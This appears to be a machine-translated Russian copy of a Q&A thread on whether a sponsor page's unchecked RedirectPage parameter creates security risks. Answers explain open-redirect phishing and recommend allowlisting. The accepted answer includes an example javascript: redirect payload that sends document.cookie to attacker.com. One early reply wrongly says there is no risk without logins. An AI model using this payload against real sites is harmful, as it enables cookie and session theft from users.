Можете ли вы найти здесь проблему с веб-безопасностью?

У меня есть веб-страница, которая перенаправляет на другую веб-страницу, например:

http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html

Затем на странице Sponsor.php отображается объявление со ссылкой «Продолжить на вашу страницу», которая ссылается на переданную в RedirectPage. Могут ли из-за этого возникнуть проблемы с безопасностью / спуфингом? Как лучше всего с этим справиться? (обратите внимание, что пользователь не авторизован ни на одном из сайтов)

Если ни на одном из сайтов нет логина, значит, проблем с безопасностью нет.

NotMe 03.11.2008 19:24
Улучшение производительности загрузки с помощью Google Tag Manager и атрибута Defer
Улучшение производительности загрузки с помощью Google Tag Manager и атрибута Defer
В настоящее время производительность загрузки веб-сайта имеет решающее значение не только для удобства пользователей, но и для ранжирования в...
Введение в CSS
Введение в CSS
CSS является неотъемлемой частью трех основных составляющих front-end веб-разработки.
Как выровнять Div по центру?
Как выровнять Div по центру?
Чтобы выровнять элемент <div>по горизонтали и вертикали с помощью CSS, можно использовать комбинацию свойств и значений CSS. Вот несколько методов,...
Навигация по приложениям React: Исчерпывающее руководство по React Router
Навигация по приложениям React: Исчерпывающее руководство по React Router
React Router стала незаменимой библиотекой для создания одностраничных приложений с навигацией в React. В этой статье блога мы подробно рассмотрим...
Система управления парковками с использованием HTML, CSS и JavaScript
Система управления парковками с использованием HTML, CSS и JavaScript
Веб-сайт по управлению парковками был создан с использованием HTML, CSS и JavaScript. Это простой сайт, ничего вычурного. Основная цель -...
Toor - Ангулярный шаблон для бронирования путешествий
Toor - Ангулярный шаблон для бронирования путешествий
Toor - Travel Booking Angular Template один из лучших Travel & Tour booking template in the world. 30+ валидированных HTML5 страниц, которые помогут...
2
1
277
3
Перейти к ответу Данный вопрос помечен как решенный

Ответы 3

Это определенно угроза безопасности. Вам следует избегать использования переменных в URL, когда речь идет о безопасности.

Хотя ничто не является полностью безопасным, это гораздо лучший способ решения этой проблемы: http://www.webmasterworld.com/forum88/2910.htm

Просто из любопытства, почему вы называете это угрозой безопасности? Причина, по которой я спрашиваю, заключается в том, что OP прямо заявил, что нет никакой информации для входа в систему под угрозой.

NotMe 27.10.2008 04:25

Если спонсор.php допускает любое значение в RedirectPage, И реклама подразумевает одобрение или побуждает людей думать, что они на правильном пути, вы открываете его, чтобы стать частью фишинг-атаки. Что еще хуже, вы, вероятно, выиграете от этих атак, что, скорее всего, вызовет у людей некоторое недовольство.

Ведение списка разрешенных URL-адресов (или шаблонов, которым они могут следовать) будет иметь большое значение для предотвращения проблем.

Ответ принят как подходящий

Это большая проблема. Если я пришлю вам ссылку, которая выглядит так:

 http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14

Вы подумаете: «О, CNN, это законный сайт», откроете его и нажмете ссылку «Перейти на свою страницу». И тогда вы будете на одной из самых отвратительных порно сайтов в сети, и она будет иметь гигантский процветающий мужской голос объявляя всем вашим коллегам «Черт побери, я хочу! @ $ @ # $ Твой! (& ¤ & ^ $ §, пока я не смогу ¡⌐ ^ (! # ~~ & $ ^ #! @ $ !! «и вы должны объяснить своему боссу:» Я думал, что это было CNN! "

Отверстие здесь - твоя репутация. Подобные слепые перенаправления опасны.

И это всего лишь одна дыра. Как насчет этого?

 http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie

Теперь я отредактировал ваш сайт с помощью XSS и украл куки вашего пользователя. Конечно, вы говорите, что нет информации для входа в систему, но как насчет данных сеанса? Или когда вы добавляете логин позже, или кто-то другой в вашей компании использует эту страницу через год, где пользователи вошли в систему.

Другие вопросы по теме